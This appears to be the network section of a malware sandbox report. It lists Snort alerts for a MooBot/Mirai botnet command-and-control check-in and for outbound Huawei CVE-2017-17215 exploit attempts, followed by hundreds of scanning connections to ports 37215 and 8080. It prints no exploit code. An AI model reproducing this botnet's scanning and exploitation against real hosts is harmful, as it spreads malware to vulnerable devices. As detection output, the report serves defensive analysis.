Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:57002 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:57020 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:57038 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:57040 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:60734 -> 45.127.161.104:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:60734 -> 45.127.161.104:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:57044 -> 103.179.172.139:19990

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 44638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60734 -> 37215

Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.12.215.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.22.12.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 107.173.109.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.154.44.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.254.128.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.213.121.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.1.187.193:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.19.96.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 201.25.66.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.16.172.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.204.203.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.159.80.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 185.55.147.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.170.106.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 118.95.46.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 133.62.70.162:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 5.254.172.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.185.205.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.158.109.216:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.100.213.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.187.16.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.159.58.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.14.230.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.28.49.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.221.211.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.86.156.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.185.47.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.176.19.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 154.169.180.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.240.214.232:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.254.98.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.24.31.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.160.174.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.221.250.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.17.195.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 208.109.191.131:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.234.32.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.145.181.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.189.49.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.170.56.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.76.158.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 101.140.37.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.44.96.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.85.108.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.109.181.127:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.249.199.32:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.198.116.20:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.17.86.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.205.155.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.50.98.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.127.149.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.66.66.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.43.202.94:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 111.58.63.107:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.55.131.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.45.72.211:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.129.235.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.34.107.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.35.89.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.173.204.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.153.72.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.207.246.88:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.87.59.243:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.195.156.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 134.190.69.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.85.94.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 131.221.248.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.138.233.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.127.68.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.166.224.124:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.20.135.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.243.197.131:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.29.235.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.178.157.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 133.196.91.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 163.249.183.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.175.134.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.38.13.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.118.64.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.203.85.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.113.157.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.220.70.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.206.167.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.250.150.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.194.244.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 146.14.24.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.91.209.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 53.83.86.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 203.7.82.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.69.201.127:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 203.230.114.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.164.115.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.160.70.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.107.184.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.121.170.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.226.162.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.93.27.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.138.219.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.139.240.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.59.81.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.68.231.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.33.119.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 42.44.6.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 208.254.36.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.160.249.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.89.136.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.128.117.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.197.163.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 213.64.55.62:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.208.203.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.5.144.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.175.127.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.190.249.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.8.141.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 98.64.79.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 141.54.7.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.138.59.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 217.101.111.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.210.66.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 221.203.178.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.144.137.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.143.242.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 69.85.213.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.213.197.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.64.37.107:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.192.159.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.176.145.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.28.204.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 132.230.210.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.227.140.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 64.81.79.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 101.224.252.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.149.220.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.167.41.20:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.2.96.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.189.229.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.111.193.64:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.89.237.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.225.244.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.234.212.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.16.61.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.91.103.41:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.220.51.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.8.74.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.120.15.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.39.123.168:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.22.44.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.89.21.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.165.159.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.133.57.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 120.19.136.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.126.114.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.64.207.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 113.181.252.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 82.137.193.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.68.1.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.240.124.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 162.105.99.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.134.101.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 173.217.9.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.152.78.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.225.195.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.22.105.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.137.130.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 47.181.88.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.68.254.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.176.5.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.192.227.193:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 111.157.100.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 25.43.253.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 49.47.38.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.183.240.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.230.129.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.205.139.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.159.91.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 90.113.165.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 193.17.45.20:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 120.126.32.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 125.82.83.2:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.193.11.72:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.179.188.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.31.231.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.108.144.216:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 211.180.20.49:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.171.13.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.242.44.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.40.210.20:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.9.117.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 189.114.159.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.8.153.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.111.145.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 71.157.241.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 5.91.236.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 31.119.17.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.192.13.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 85.57.214.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 151.194.221.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 138.56.38.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.114.160.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.39.226.40:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.13.111.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.53.180.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.51.175.39:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.146.111.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.69.217.40:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 105.250.220.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.145.76.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 61.66.171.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.239.184.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.57.202.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.23.250.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.222.254.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.205.253.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.10.73.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.99.89.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.183.94.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.236.237.32:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 210.175.208.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 93.222.25.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.213.69.232:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 142.36.76.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.25.66.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.114.94.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.81.144.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 216.185.222.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.181.185.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.63.245.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 144.44.55.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.8.128.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.138.48.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 178.225.10.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.4.60.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.249.188.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 105.84.27.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.124.201.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.34.137.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.1.254.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.203.69.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.251.230.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.220.178.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.6.33.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 157.2.27.225:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.81.128.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.212.28.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 210.202.252.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.39.157.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.179.145.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.82.199.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.105.34.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 147.169.138.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 41.128.16.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 195.118.45.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.178.14.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.195.48.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:6682 -> 197.195.94.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 160.95.176.96:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 186.43.94.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 199.157.191.12:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 66.198.229.190:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 83.198.172.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 181.47.14.129:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 39.6.77.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 211.25.22.60:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 20.147.180.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 217.155.56.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 8.127.223.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 59.103.54.141:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 83.33.182.75:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 179.51.110.31:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 188.40.242.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 135.37.199.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 53.71.220.45:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 197.193.196.115:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 111.23.232.172:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 115.129.179.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 218.238.174.102:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 132.82.48.168:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 78.8.190.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 181.233.226.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 116.122.126.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 25.31.1.73:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 24.108.82.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 174.205.212.46:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 148.237.200.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 156.144.192.225:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 1.102.199.149:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 44.12.155.134:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 103.14.174.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 107.23.16.44:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 90.142.223.149:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 65.178.253.113:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 35.94.130.50:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 193.73.166.66:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 133.177.193.201:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 153.250.205.200:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 107.136.170.17:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 202.167.18.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 43.159.101.183:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 148.86.93.147:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 116.152.238.113:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 52.4.175.183:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 117.117.13.39:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 130.134.129.159:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 207.149.251.138:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 1.214.189.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 158.118.33.225:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 216.214.6.105:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 113.15.5.46:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 64.253.96.194:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 137.187.113.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 94.174.23.208:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 210.136.170.141:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 23.201.237.24:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 218.39.3.149:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 194.217.25.155:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 174.100.43.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 136.120.105.237:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 13.55.219.177:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 92.211.178.14:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 153.183.249.244:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 120.210.46.189:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 146.55.103.84:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 196.80.144.140:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 208.52.93.179:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 27.27.57.123:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 128.170.26.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 54.16.90.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 17.248.11.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 105.105.217.223:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 206.225.98.87:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 196.82.11.199:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 118.94.94.237:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 96.14.109.9:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 68.30.58.39:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 95.162.164.126:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 161.12.234.189:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 129.2.175.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 156.70.124.192:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 37.66.25.233:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 96.7.235.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 220.17.59.221:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 197.156.122.166:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 43.143.203.222:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 36.83.126.89:8080
